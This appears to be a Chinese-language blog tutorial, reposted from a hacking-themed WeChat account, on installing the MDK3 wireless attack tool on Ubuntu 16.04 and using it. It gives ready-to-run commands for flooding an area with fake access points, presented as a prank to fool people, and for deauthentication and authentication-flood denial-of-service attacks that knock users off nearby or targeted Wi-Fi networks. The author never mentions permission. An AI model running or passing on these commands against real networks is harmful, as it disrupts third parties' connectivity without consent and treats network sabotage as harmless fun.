前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ubuntu-16.04使用MDK3攻击wifi热点

ubuntu-16.04使用MDK3攻击wifi热点

作者头像
知识与交流
发布2021-04-02 07:43:56
1.5K0
发布2021-04-02 07:43:56
举报
文章被收录于专栏:黑客技术家园

 MDK3是?

  MDK3 是一款无线DOS 攻击测试工具,能够发起Beacon Flood、Authentication DoS、Deauthentication/Disassociation Amok 等模式的攻击,另外它还具有针对隐藏ESSID 的暴力探测模式、802.1X 渗透测试等功能

  安装MDK3

  打开文件 /etc/apt/sources.list ,添加kali源:

代码语言:javascript
复制
sudo gedit /etc/apt/sources.list

  ubuntu系统安装MDK3需要kali的源, 我们在文件末尾添加 源:

代码语言:javascript
复制
deb http://mirrors.aliyun.com/kali sana main non-free contrib  deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free  deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

  再执行命令安装:

代码语言:javascript
复制
sudo apt-get install mdk3

  如果mdk3创建成功了, 在命令行输入 sudo mdk3 ,会出现一下提示:

代码语言:javascript
复制
MDK 3.0 v6 - "Yeah, well, whatever"by ASPj of k2wrlz, using the osdep library from aircrack-ng
And with lots of help from the great aircrack-ng community:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,
telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik
THANK YOU!MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.
IMPORTANT: It is your responsibility to make sure you have permission from the
network owner before running MDK against it.This code is licenced under the GPLv2MDK USAGE:
mdk3   [test_options]Try mdk3 --fullhelp for all test options
Try mdk3 --help  for info about one test onlyTEST MODES:
b   - Beacon Flood Mode
      Sends beacon frames to show fake APs at clients.
      This can sometimes crash network scanners and even drivers!a   - Authentication DoS mode
      Sends authentication frames to all APs found in range.
      Too much clients freeze or reset some APs.
p   - Basic probing and ESSID Bruteforce mode
      Probes AP and check for answer, useful for checking if SSID has
      been correctly decloaked or if AP is in your adaptors sending range
      SSID Bruteforcing is also possible with this test mode.
d   - Deauthentication / Disassociation Amok Mode
      Kicks everybody found from AP
m   - Michael shutdown exploitation (TKIP)
      Cancels all traffic continuously
x   - 802.1X tests
w   - WIDS/WIPS Confusion
      Confuse/Abuse Intrusion Detection and Prevention Systems
f   - MAC filter bruteforce mode
      This test uses a list of known client MAC Adresses and tries to
      authenticate them to the given AP while dynamically changing
      its response timeout for best performance. It currently works only
      on APs who deny an open authentication request properly
g   - WPA Downgrade test
      deauthenticates Stations and APs sending WPA encrypted packets.
      With this test you can check if the sysadmin will try setting his
      network to WEP or disable encryption.

  使用MDK3创建伪热点AP

  把网卡 wlx001d0f04f093 设定为混杂模式, 网卡名字是参考ifconfig, 因为没一台计算机网卡都不同 :

代码语言:javascript
复制
sudo airmon-ng start wlx001d0f04f093

  执行这个最最要的命令, 创建一个名字为:测试模拟WIFI 的 热点:

代码语言:javascript
复制
sudo mdk3 mon0 b -n 测试WIFI -t -c 6 -s 80

  创建一堆伪热点AP, 首先需要一个文件, 文件里面保存了所有的WIIF名, 比如文件名为wifis.txt , 内容为:

代码语言:javascript
复制
白日依山尽
黄河入海流
欲穷千里目
更上一层楼

  如果前面已经执行 sudo airmon-ng start wlx001d0f04f093 ,那就不要再执行,否者务必重新执行一遍 ,然后构造mdk3的命令:

代码语言:javascript
复制
 sudo mdk3 mon0 b -f ./wifis.txt -t -c 6

  然后就可以出去恶搞啦, 弄一堆WIFI骗人, 虽然这个没啥用处 >.<

  攻击WIIF热点, 解除验证攻击

  Deauthentication/Disassociation Amok 解除验证攻击, 在这个模式下,软件会向周围所有可见AP发起循环攻击......可以造成一定范围内的无线网络瘫痪

  首先通过sudo airodump-ng mon0获取要攻击的信道:

代码语言:javascript
复制
sudo airodump-ng mon0

  如果要攻击信道为11的路由, 构造的命令如下:

代码语言:javascript
复制
sudo mdk3 mon0 d -c 11  

  解除验证攻击也可以设置白名单和黑名单, 让指定的AP不受该攻击的影响, 具体可以参考帮助文档:

代码语言:javascript
复制
sudo mdk3 --help d

  Authentication DoS

  Authentication DoS,这是一种验证请求攻击模式:在这个模式里,软件自动模拟随机产生的mac向目标AP发起大量验证请求,可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应, 如果路由不死的话,其实客户上网也是非常卡的, 亲身经历..

-a后面的参数为 目标AP的MAC地址:

代码语言:javascript
复制
sudo mdk3 mon0 a -a 5C:63:BF:C4:A4:CE

戳“阅读原文”我们一起进步

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑客技术家园 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  MDK3是?
  •   安装MDK3
  •   使用MDK3创建伪热点AP
  •   攻击WIIF热点, 解除验证攻击
  •   Authentication DoS
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档